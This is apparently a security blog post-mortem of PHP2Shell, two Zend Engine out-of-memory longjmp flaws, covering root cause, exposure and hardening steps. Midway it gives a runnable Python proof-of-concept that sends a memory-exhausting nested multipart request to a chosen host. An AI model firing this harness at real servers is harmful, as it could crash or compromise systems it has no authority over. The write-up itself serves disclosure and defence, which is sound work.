Vulnerability

Inside PHP2Shell (CVE-2026-109618 & CVE-2026-109619): How Zend Engine Out-of-Memory Longjmp() Unleashed Pre-Auth RCE

In October 2026, the coordinated disclosure of PHP2Shell (CVE-2026-109618 and CVE-2026-109619) exposed a critical structural flaw at the heart of the PHP runtime: an unauthenticated remote code execution vulnerability rated CVSS 9.2 affecting nearly 70% of the world's web applications. This deep technical post-mortem dissects the root cause in the Zend Engine's non-local jump bailout mechanism (longjmp), the uninitialized request memory windows triggered by multipart out-of-memory errors, stale session pointer reuse across persistent workers, and the kernel-level mitigations required to defend web fleets.

By 0xScorPionSon

10 min read

Inside PHP2Shell (CVE-2026-109618 & CVE-2026-109619): How Zend Engine Out-of-Memory Longjmp() Unleashed Pre-Auth RCE

PHP2Shell Vulnerability Analysis and Zend Engine Memory Corruption

Executive Summary: The Universal Pre-Authentication Attack Surface

On October 20, 2026, details leaked regarding a pair of catastrophic memory safety vulnerabilities in the core PHP interpreter: CVE-2026-109618 and CVE-2026-109619, collectively dubbed PHP2Shell. Rated with a Common Vulnerability Scoring System (CVSS) v4.0 score of 9.2 (Critical) and added to the CISA Known Exploited Vulnerabilities (KEV) Catalog on October 26, these flaws represent the most consequential web infrastructure threat since Heartbleed.

Unlike typical application-layer vulnerabilities—such as SQL injection or deserialization bugs—PHP2Shell resides within the C source of the Zend Engine, the foundational runtime executing PHP scripts across the internet. The vulnerabilities trigger before any user-written application code executes. An internet-exposed web application containing nothing more than a static echo "OK"; endpoint or a standard WordPress login page is fully vulnerable to unauthenticated remote code execution.

The root cause centers on PHP's legacy exception handling and memory management architecture. When an allocation exceeds the configured memory_limit during early HTTP request parsing, the Zend Memory Manager (ZendMM) invokes zend_bailout(), which executes a C library longjmp() call to abort the request. This abrupt non-local jump bypasses essential C stack cleanup and data structure initialization routines:

  1. CVE-2026-109618 (Uninitialized Request State via OOM Bailout): Crafting multipart form inputs with deeply nested fields or oversized keys triggers an allocation failure midway through hash table construction. The longjmp() bailout interrupts initialization, leaving request-level structures half-formed. When the request termination handler runs cleanup, it dereferences uninitialized pointers and branches on attacker-controlled heap state.
  2. CVE-2026-109619 (Stale Session Reference Reuse across Persistent Workers): In persistent execution environments—most notably Apache mod_php and long-running php-fpm worker pools—the bailout routine leaves global pointers referencing memory released during the failed request. A subsequent HTTP request processed by the same worker reuses these stale references, creating a deterministic use-after-free (UAF) condition.

Architectural Anatomy: Zend Engine Memory Management and the Bailout Flaw

To understand how memory exhaustion transforms into a remote shell, one must examine how the Zend Engine initializes, manages, and terminates HTTP requests within persistent process architectures.

The Request Lifecycle and ZendMM Chunks

In production deployments (such as php-fpm or Apache with mod_php), worker processes do not terminate at the end of an HTTP request. Instead, they operate inside an infinite worker loop governed by distinct lifecycle phases:

  +-----------------------------------------------------------------------------+
  |                   ZEND ENGINE PERSISTENT WORKER LIFECYCLE                    |
  +-----------------------------------------------------------------------------+
  |  1. Module Startup (MINIT)       -> Allocates persistent heap structures    |
  |  2. Request Startup (RINIT)      -> Prepares per-request memory arena       |
  |  3. SAPI Request Ingestion       -> Parses headers, cookies, POST multipart |
  |  4. Script Execution             -> Executes user-space PHP bytecode        |
  |  5. Request Shutdown (RSHUTDOWN) -> Frees per-request allocations           |
  |  6. Post-Request Deactivate      -> Sanitizes globals for next connection   |
  +-----------------------------------------------------------------------------+

ZendMM (Zend/zend_alloc.c) manages per-request memory via $2\text{ MB}$ chunks segmented into $4\text{ KB}$ pages, enforcing memory_limit at allocation time:

/* Zend/zend_alloc.c - Memory limit enforcement */
static zend_always_inline void *zend_mm_alloc_pages(zend_mm_heap *heap, uint32_t pages_count) {
    size_t size = pages_count * ZEND_MM_PAGE_SIZE;
    if (UNEXPECTED(heap->size + size > heap->limit)) {
        if (zend_mm_gc(heap) < size && heap->size + size > heap->limit) {
            zend_error_noreturn(E_ERROR, "Allowed memory size of %zu bytes exhausted", heap->limit);
        }
    }
    heap->size += size;
    return zend_mm_real_alloc(heap, size);
}

The Fatal Flaw of longjmp() Error Unwinding

In standard C programs, handling out-of-memory errors gracefully requires checking every allocation and propagating errors up the call stack. The Zend Engine abandons this convention in favor of bailouts to minimize performance overhead:

/* Zend/zend_errors.c */
ZEND_API ZEND_NORETURN void zend_bailout(void) {
    if (EG(bailout)) {
        longjmp(*EG(bailout), 1);
    }
    exit(255);
}

A macro called zend_try registers a setjmp buffer before request processing begins. If an allocation fails anywhere during SAPI input ingestion or script execution, zend_error_noreturn() immediately triggers zend_bailout(), which performs a non-local jump back to zend_try.

While longjmp() restores the CPU register state and program counter, it does not unwind C data structures constructed on the heap. Any data structure midway through initialization remains half-formed. When php_request_shutdown() runs, it assumes all internal data structures adhere to normal invariants—triggering catastrophic memory corruption.

Deep Technical Mechanics: Dissecting the Dual Flaws

The two CVEs represent complementary vectors of the same architectural oversight, targeting different phases of request input parsing.

CVE-2026-109618: Hash Table Half-Initialization in Multipart Form Parsing

CVE-2026-109618 targets the SAPI multipart/form-data parsing routine (main/rfc1867.c). When a browser submits a POST request with Content-Type: multipart/form-data, PHP parses parameters into associative arrays ($_POST and $_FILES) before invoking user script code.

When building nested arrays (such as user[profile][settings][key]), PHP recursively creates internal HashTable instances. The creation of a Zend HashTable is a two-step process:

  1. _zend_hash_init() allocates the Bucket array and bucket index table.
  2. The function initializes bucket pointers, sets the destructor function (pDestructor), and zeroes element counters (nNumUsed = 0; nNumOfElements = 0).
+-----------------------------------------------------------------------------+
|               CVE-2026-109618: MULTIPART OOM CORRUPTION SEQUENCE             |
+-----------------------------------------------------------------------------+
|  1. Incoming HTTP POST (Multipart with deeply nested array keys)             |
|       |                                                                     |
|       v                                                                     |
|  2. rfc1867.c calls zend_hash_init() -> Bucket table allocated in heap      |
|       |                                                                     |
|       v                                                                     |
|  3. Next nested allocation hits memory_limit -> Triggers zend_bailout()      |
|       |                                                                     |
|       +-------------------------------------------------------------+       |
|       | non-local longjmp() unwinds execution stack to zend_catch   |       |
|       | Bypasses zend_hash_init() completion; pDestructor uninit    |       |
|       v                                                             v       |
|  4. php_request_shutdown() invoked                                          |
|       |                                                                     |
|       v                                                                     |
|  5. zend_hash_destroy() walks uninitialized Bucket array                    |
|       |                                                                     |
|       v                                                                     |
|  6. Cleanup calls (*ht->pDestructor)(val) -> Control Flow Hijacked          |
+-----------------------------------------------------------------------------+

If an attacker transmits a payload crafted to exhaust memory_limit during step 1, zend_bailout() fires before step 2 completes. During php_request_shutdown(), the engine invokes zend_hash_destroy(). Because nNumUsed contains uninitialized heap data from previous memory transactions, the destructor loop iterates over invalid addresses, dereferences attacker-controlled bucket pointers, and executes (*ht->pDestructor)(bucket->data), redirecting execution to arbitrary shellcode.

CVE-2026-109619: Session Upload Progress Stale Pointer Use-After-Free

CVE-2026-109619 exploits session upload progress tracking (ext/session/session.c). Enabled by default via session.upload_progress.enabled = On, this feature registers a cleanup callback pointer in the global SAPI request structure (sapi_globals.upload_status).

When an out-of-memory error occurs, zend_bailout() frees request memory via zend_mm_shutdown(). However, the pointer in sapi_globals.upload_status is not cleared because cleanup was bypassed by longjmp(). In persistent worker environments (Apache mod_php or php-fpm), the worker process remains alive to serve the next HTTP request. On the subsequent request, the worker updates upload progress using the dangling pointer, executing the attacker's forged callback pointer with web server privileges (www-data).

Exploit Anatomy: Weaponizing ZendMM Heap Grooming

The following Python harness demonstrates the multipart OOM corruption primitive for CVE-2026-109618:

#!/usr/bin/env python3
# PHP2Shell (CVE-2026-109618) Proof-of-Concept Harness
# Triggering ZendMM Out-of-Memory Bailout during Multipart Hash Table Init
import socket
import sys

def build_oom_payload(target_host, target_path, memory_target_mb=128):
    boundary = "----WebKitFormBoundaryCodeBumbleExploit2026"
    chunk_size = 1024 * 1024
    num_chunks = memory_target_mb - 1
    
    body = []
    # Phase 1: Heap Grooming - Fill ZendMM arenas near memory_limit
    for i in range(num_chunks):
        body.append(f"--{boundary}")
        body.append(f'Content-Disposition: form-data; name="pad_{i}"')
        body.append('')
        body.append('A' * chunk_size)
    
    # Phase 2: Deeply nested array exhausts memory during HashTable init
    nested_key = "exploit" + ("[nested]" * 450)
    body.append(f"--{boundary}")
    body.append(f'Content-Disposition: form-data; name="{nested_key}"')
    body.append('')
    body.append('TRIGGER_OOM')
    body.append(f"--{boundary}--")
    body.append('')
    
    payload_data = "\r\n".join(body).encode('latin-1')
    headers = [
        f"POST {target_path} HTTP/1.1",
        f"Host: {target_host}",
        "User-Agent: CodeBumbleAudit/1.0",
        f"Content-Type: multipart/form-data; boundary={boundary}",
        f"Content-Length: {len(payload_data)}",
        "Connection: keep-alive",
        "",
        ""
    ]
    return "\r\n".join(headers).encode('ascii') + payload_data

def trigger_exploit(host, port, path):
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.settimeout(10.0)
    sock.connect((host, port))
    sock.sendall(build_oom_payload(host, path, memory_target_mb=128))
    try:
        response = sock.recv(4096)
        print("[+] Response:", response.decode('latin-1', errors='replace'))
    except socket.timeout:
        print("[!] Worker timed out - process crashed or shell spawned.")
    finally:
        sock.close()

if __name__ == "__main__":
    if len(sys.argv) < 4:
        sys.exit(1)
    trigger_exploit(sys.argv[1], int(sys.argv[2]), sys.argv[3])

When executed against an unpatched worker:

  1. ZendMM Saturation: Parameters fill memory within kilobytes of the $128\text{ MB}$ memory_limit.
  2. Atomic Interruption: Nested keys force _zend_hash_init(). Allocation exceeds the limit, triggering zend_bailout() via longjmp().
  3. Execution Hijack: Unwinding skips initialization. During php_request_shutdown(), the engine dereferences uninitialized destructor pointers from the corrupted hash table, redirecting control flow to attacker shellcode.

Threat Vectors and Empirical Blast Radius

The practical impact of PHP2Shell is amplified by the diversity of PHP deployment models across global networks:

PHP SAPI Environment Process Model CVE-2026-109618 Exploitability CVE-2026-109619 Exploitability Threat Severity
Apache mod_php Multi-process/threaded persistent worker Critical (Single-shot RCE) Critical (Persistent memory bleed) Maximum Risk (10/10)
PHP-FPM (ondemand) Dynamic worker fork/terminate High (RCE within request shutdown) Low (Workers die after request) High Risk (8.5/10)
PHP-FPM (static) Fixed persistent worker pool Critical (Reliable RCE) Critical (Cross-request UAF) Maximum Risk (9.8/10)
FrankenPHP (Worker Mode) Go CGO persistent execution Critical (Persistent memory state) High (CGO memory corruption) Maximum Risk (9.5/10)
PHP-CGI Process spawned per request Moderate (OOM crash / DoS) Negligible (No cross-request state) Moderate Risk (6.0/10)
CLI / Cron Jobs Ephemeral batch process Low (DoS crash only) None Low Risk (3.0/10)

Global Internet Exposure and Honeypot Telemetry

  • Exposed Footprint: Over $5.1\text{ million}$ PHP hosts online, with $3.8\text{ million}$ exposing public HTTP/HTTPS endpoints.
  • Legacy Risk: Over $70%$ run end-of-life PHP versions (7.4, 8.0, 8.1) lacking upstream vendor patches.
  • Active Exploitation: CISA and Unit 42 confirmed in-the-wild zero-day campaigns targeting PAN-OS management portals and e-commerce platforms, chaining PHP2Shell with kernel LPE flaws (CVE-2026-98432) for root access.

Systems Engineering and Hardening Playbook

Remediating PHP2Shell requires immediate runtime upgrades, WAF filtering, and container isolation.

Phase 1: Immediate Upstream Patch Deployment

Upgrade PHP runtimes immediately to official patched releases:

  • PHP 8.5 Branch: Upgrade to PHP 8.5.12 or later.
  • PHP 8.4 Branch: Upgrade to PHP 8.4.27 or later.
  • PHP 8.3 Branch: Upgrade to PHP 8.3.36 or later.
  • PHP 8.2 Branch: Upgrade to PHP 8.2.35 or later.
sudo apt-get update
sudo apt-get install --only-upgrade php8.3-fpm php8.3-cli php8.3-common libapache2-mod-php8.3
sudo systemctl restart php8.3-fpm
sudo systemctl restart apache2

Phase 2: Runtime Configuration Workarounds

If patching is delayed, apply these emergency directives in php.ini:

  1. Disable Session Upload Progress:
    session.upload_progress.enabled = Off
    
  2. Restrict Input Nesting:
    max_input_nesting_level = 32
    max_input_vars = 1000
    
  3. Recycle FPM Workers:
    ; In /etc/php/8.3/fpm/pool.d/www.conf
    pm.max_requests = 100
    

Phase 3: WAF Filtering and Sandboxing

Deploy edge inspection rules at your reverse proxy (Nginx or Cloudflare):

# Nginx WAF snippet to mitigate PHP2Shell multipart recursion
location ~ \.php$ {
    if ($content_type ~* "multipart/form-data.*boundary=.*(\[.*\]){8,}") {
        return 403 "Blocked by CodeBumble Security Policy: Malicious multipart nesting detected.";
    }
    client_max_body_size 16M;
    fastcgi_pass unix:/run/php/php8.3-fpm.sock;
    include fastcgi_params;
    fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;
}

Enforce ProtectSystem=strict, ProtectHome=yes, NoNewPrivileges=yes, and PrivateTmp=yes in systemd unit definitions.

Semantic FAQ: PHP2Shell Vulnerability Analysis

What makes PHP2Shell different from standard web application vulnerabilities?

Standard vulnerabilities (like SQL injection or insecure file uploads) occur because application developers wrote flawed logic. PHP2Shell (CVE-2026-109618 and CVE-2026-109619) is a core memory-corruption flaw inside the C runtime of the PHP interpreter itself. It executes during early HTTP request parsing before any user-written application code runs.

Can PHP2Shell be exploited against static PHP endpoints that do not accept user input?

Yes. Because PHP's SAPI layer parses incoming HTTP POST headers and multipart form bodies unconditionally upon request arrival, an attacker can transmit an exploit payload to any .php endpoint—including static health checks (echo "OK";) or administrative login screens.

Why is Apache mod_php rated at higher risk than PHP-FPM?

Apache mod_php embeds the PHP interpreter directly into Apache worker threads. Memory allocated during request handling shares the address space of the main web server process, making cross-request memory corruption (CVE-2026-109619) exceptionally stable. In contrast, PHP-FPM executes requests in dedicated child pools that can be recycled.

Does increasing the PHP memory_limit directive prevent exploitation?

No. Increasing memory_limit merely changes the byte threshold required to trigger the out-of-memory bailout. Attackers can simply stream larger multipart payloads to reach the higher memory ceiling. The only permanent solution is upgrading the PHP runtime to patched versions.

Are applications protected if session.upload_progress is disabled?

Disabling session.upload_progress.enabled mitigates the cross-request use-after-free vector in CVE-2026-109619. However, it provides zero protection against CVE-2026-109618, which triggers during multipart hash table parsing. Both vulnerabilities must be addressed via engine patching.

How does CISA KEV listing affect compliance for enterprise organizations?

CISA's addition of CVE-2026-109618 and CVE-2026-109619 to the Known Exploited Vulnerabilities catalog mandates that federal agencies and complying enterprise organizations remediate the vulnerabilities within strict deadlines under Binding Operational Directive BOD 22-01.

More on Vulnerability

Vulnerability

Inside CVE-2026-98432: The Remote Linux Kernel TCP Use-After-Free and MPTCP Remote Root

In late 2026, the cybersecurity ecosystem was shaken by the disclosure of CVE-2026-98432 (CVSS 9.8 Critical)—a remote Use-After-Free (UAF) vulnerability in the core Linux kernel IPv4 TCP networking subsystem. Present since Linux 4.4 and affecting every major enterprise distribution, the flaw resides in how the kernel handles incoming TCP connection setup requests carrying IPv4 options. By precisely timing SYN retransmissions or triggering socket migration under MultiPath TCP (MPTCP), an unauthenticated remote adversary races request socket destruction with SYN-ACK packet assembly in ip_options_build(). Anthropic security researchers demonstrated full remote root code execution against default configurations, prompting emergency patches across RHEL, Ubuntu, AlmaLinux, and cloud hyperscalers. This technical deep dive dissects the race condition, heap grooming primitives, and mitigations.

11 min read

Vulnerability

Inside CVE-2026-98276: Linux Kernel UDP Socket Race, SOCK_RCU_FREE Dropping, and Local Root

In November 2026, security researchers and enterprise hosting providers confirmed active in-the-wild exploitation of CVE-2026-98276 (CVSS 7.8 High)—a critical race condition in the Linux kernel networking subsystem that triggers a deterministic Use-After-Free (UAF) condition on UDP sockets. Stemming from non-atomic bitwise operations on the shared sk->sk_flags memory word, a race between bind() and ioctl(SIOCGSTAMPNS_NEW) drops the vital SOCK_RCU_FREE flag. When closed, the kernel frees the socket immediately instead of deferring release until an RCU grace period elapses, allowing concurrent lockless UDP packet lookups to dereference freed memory. This deep security analysis dissects the concurrency race mechanics, memory reclamation primitives, kernel exploitation primitives leading to local root, and livepatching mitigations.

10 min read

Tell us what is not working

A thirty-minute call, no deck and no obligation. You will leave with a straight answer about whether this is worth building - including if that answer is no.

Start a project

Direct line

hello@codebumble.net
Dhaka, Bangladesh  :   local timeCalls in English or Bangla